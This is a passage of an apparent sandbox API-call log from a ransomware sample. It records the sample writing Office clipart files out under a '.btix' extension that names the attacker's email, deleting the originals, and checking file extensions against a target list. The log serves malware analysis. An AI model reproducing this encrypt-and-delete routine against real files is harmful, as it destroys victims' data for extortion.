dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0144.164] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=31812) returned 1 [0144.164] CloseHandle (hObject=0x54c) returned 1 [0144.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf")) returned 0x220 [0144.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0144.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0144.165] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.165] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0144.165] GetLastError () returned 0x0 [0144.165] ReadFile (in: hFile=0x54c, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x7c44, lpOverlapped=0x0) returned 1 [0144.299] WriteFile (in: hFile=0x380, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x7c50, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x7c50, lpOverlapped=0x0) returned 1 [0144.300] ReadFile (in: hFile=0x54c, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0144.300] WriteFile (in: hFile=0x380, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0144.300] SetEndOfFile (hFile=0x380) returned 1 [0144.301] CloseHandle (hObject=0x380) returned 1 [0144.301] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.301] SetEndOfFile (hFile=0x54c) returned 1 [0144.303] CloseHandle (hObject=0x54c) returned 1 [0144.303] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0144.304] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf")) returned 1 [0144.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0144.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0144.304] lstrlenW (lpString=".doc") returned 4 [0144.304] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.304] lstrlenW (lpString=".docx") returned 5 [0144.304] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0144.304] lstrlenW (lpString=".pdf") returned 4 [0144.304] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.304] lstrlenW (lpString=".xls") returned 4 [0144.304] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.304] lstrlenW (lpString=".xlsx") returned 5 [0144.304] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0144.304] lstrlenW (lpString=".ppt") returned 4 [0144.304] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0144.304] lstrlenW (lpString=".zip") returned 4 [0144.305] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.305] lstrlenW (lpString=".rar") returned 4 [0144.305] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.305] lstrlenW (lpString=".bz2") returned 4 [0144.305] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.305] lstrlenW (lpString=".7z") returned 3 [0144.305] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0144.305] lstrlenW (lpString=".dbf") returned 4 [0144.305] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0144.305] lstrlenW (lpString=".1cd") returned 4 [0144.305] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0144.305] lstrlenW (lpString=".jpg") returned 4 [0144.305] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0144.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0144.305] lstrlenW (lpString=".doc") returned 4 [0144.305] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.305] lstrlenW (lpString=".docx") returned 5 [0144.305] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0144.305] lstrlenW (lpString=".pdf") returned 4 [0144.305] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.305] lstrlenW (lpString=".xls") returned 4 [0144.305] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.305] lstrlenW (lpString=".xlsx") returned 5 [0144.305] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0144.305] lstrlenW (lpString=".ppt") returned 4 [0144.305] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0144.305] lstrlenW (lpString=".zip") returned 4 [0144.305] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.305] lstrlenW (lpString=".rar") returned 4 [0144.305] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.305] lstrlenW (lpString=".bz2") returned 4 [0144.305] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.306] lstrlenW (lpString=".7z") returned 3 [0144.306] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0144.306] lstrlenW (lpString=".dbf") returned 4 [0144.306] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0144.306] lstrlenW (lpString=".1cd") returned 4 [0144.306] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0144.306] lstrlenW (lpString=".jpg") returned 4 [0144.306] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.306] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0144.306] lstrlenW (lpString="J0105588.WMF") returned 12 [0144.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0144.322] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=21548) returned 1 [0144.322] CloseHandle (hObject=0x568) returned 1 [0144.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf")) returned 0x220 [0144.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0144.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0144.471] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.472] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0144.472] GetLastError () returned 0x0 [0144.472] ReadFile (in: hFile=0x564, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x542c, lpOverlapped=0x0) returned 1 [0144.474] WriteFile (in: hFile=0x508, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x5430, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x5430, lpOverlapped=0x0) returned 1 [0144.475] ReadFile (in: hFile=0x564, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0144.475] WriteFile (in: hFile=0x508, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0144.475] SetEndOfFile (hFile=0x508) returned 1 [0144.475] CloseHandle (hObject=0x508) returned 1 [0144.476] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.476] SetEndOfFile (hFile=0x564) returned 1 [0144.478] CloseHandle (hObject=0x564) returned 1 [0144.478] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0144.479] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf")) returned 1 [0144.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0144.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0144.479] lstrlenW (lpString=".doc") returned 4 [0144.479] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.479] lstrlenW (lpString=".docx") returned 5 [0144.479] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0144.479] lstrlenW (lpString=".pdf") returned 4 [0144.479] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.479] lstrlenW (lpString=".xls") returned 4 [0144.479] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.480] lstrlenW (lpString=".xlsx") returned 5 [0144.480] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0144.480] lstrlenW (lpString=".ppt") returned 4 [0144.480] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0144.480] lstrlenW (lpString=".zip") returned 4 [0144.480] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.480] lstrlenW (lpString=".rar") returned 4 [0144.480] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.480] lstrlenW (lpString=".bz2") returned 4 [0144.480] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.480] lstrlenW (lpString=".7z") returned 3 [0144.480] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0144.480] lstrlenW (lpString=".dbf") returned 4 [0144.480] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0144.480] lstrlenW (lpString=".1cd") returned 4 [0144.480] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0144.480] lstrlenW (lpString=".jpg") returned 4 [0144.480] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0144.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0144.480] lstrlenW (lpString=".doc") returned 4 [0144.480] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.480] lstrlenW (lpString=".docx") returned 5 [0144.480] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0144.480] lstrlenW (lpString=".pdf") returned 4 [0144.480] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.480] lstrlenW (lpString=".xls") returned 4 [0144.480] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.480] lstrlenW (lpString=".xlsx") returned 5 [0144.480] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0144.480] lstrlenW (lpString=".ppt") returned 4 [0144.481] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0144.481] lstrlenW (lpString=".zip") returned 4 [0144.481] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.481] lstrlenW (lpString=".rar") returned 4 [0144.481] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.481] lstrlenW (lpString=".bz2") returned 4 [0144.481] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.481] lstrlenW (lpString=".7z") returned 3 [0144.481] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0144.481] lstrlenW (lpString=".dbf") returned 4 [0144.481] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0144.481] lstrlenW (lpString=".1cd") returned 4 [0144.481] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0144.481] lstrlenW (lpString=".jpg") returned 4 [0144.481] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.481] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0144.481] lstrlenW (lpString="J0106146.WMF") returned 12 [0144.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0144.482] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=23548) returned 1 [0144.482] CloseHandle (hObject=0x564) returned 1 [0144.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf")) returned 0x220 [0144.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0144.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0144.482] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.482] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0144.483] GetLastError () returned 0x0 [0144.483] ReadFile (in: hFile=0x564, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x5bfc, lpOverlapped=0x0) returned 1 [0144.485] WriteFile (in: hFile=0x508, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x5c00, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x5c00, lpOverlapped=0x0) returned 1 [0144.486] ReadFile (in: hFile=0x564, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0144.486] WriteFile (in: hFile=0x508, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0144.486] SetEndOfFile (hFile=0x508) returned 1 [0144.486] CloseHandle (hObject=0x508) returned 1 [0144.486] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.486] SetEndOfFile (hFile=0x564) returned 1 [0144.488] CloseHandle (hObject=0x564) returned 1 [0144.488] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0144.489] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf")) returned 1 [0144.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0144.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0144.489] lstrlenW (lpString=".doc") returned 4 [0144.489] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.489] lstrlenW (lpString=".docx") returned 5 [0144.489] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0144.489] lstrlenW (lpString=".pdf") returned 4 [0144.489] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.489] lstrlenW (lpString=".xls") returned 4 [0144.489] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.489] lstrlenW (lpString=".xlsx") returned 5 [0144.489] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0144.489] lstrlenW (lpString=".ppt") returned 4 [0144.489] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0144.490] lstrlenW (lpString=".zip") returned 4 [0144.490] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.490] lstrlenW (lpString=".rar") returned 4 [0144.490] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.490] lstrlenW (lpString=".bz2") returned 4 [0144.490] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.490] lstrlenW (lpString=".7z") returned 3 [0144.490] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0144.490] lstrlenW (lpString=".dbf") returned 4 [0144.490] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0144.490] lstrlenW (lpString=".1cd") returned 4 [0144.490] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0144.490] lstrlenW (lpString=".jpg") returned 4 [0144.490] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0144.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0144.490] lstrlenW (lpString=".doc") returned 4 [0144.490] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.490] lstrlenW (lpString=".docx") returned 5 [0144.490] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0144.490] lstrlenW (lpString=".pdf") returned 4 [0144.490] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.490] lstrlenW (lpString=".xls") returned 4 [0144.490] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.490] lstrlenW (lpString=".xlsx") returned 5 [0144.490] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0144.490] lstrlenW (lpString=".ppt") returned 4 [0144.490] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0144.490] lstrlenW (lpString=".zip") returned 4 [0144.490] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.491] lstrlenW (lpString=".rar") returned 4 [0144.491] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.491] lstrlenW (lpString=".bz2") returned 4 [0144.491] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.491] lstrlenW (lpString=".7z") returned 3 [0144.491] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0144.491] lstrlenW (lpString=".dbf") returned 4 [0144.491] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0144.491] lstrlenW (lpString=".1cd") returned 4 [0144.491] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0144.491] lstrlenW (lpString=".jpg") returned 4 [0144.491] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.491] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0144.491] lstrlenW (lpString="J0106208.WMF") returned 12 [0144.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0144.492] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=11900) returned 1 [0144.492] CloseHandle (hObject=0x564) returned 1 [0144.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf")) returned 0x220 [0144.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft 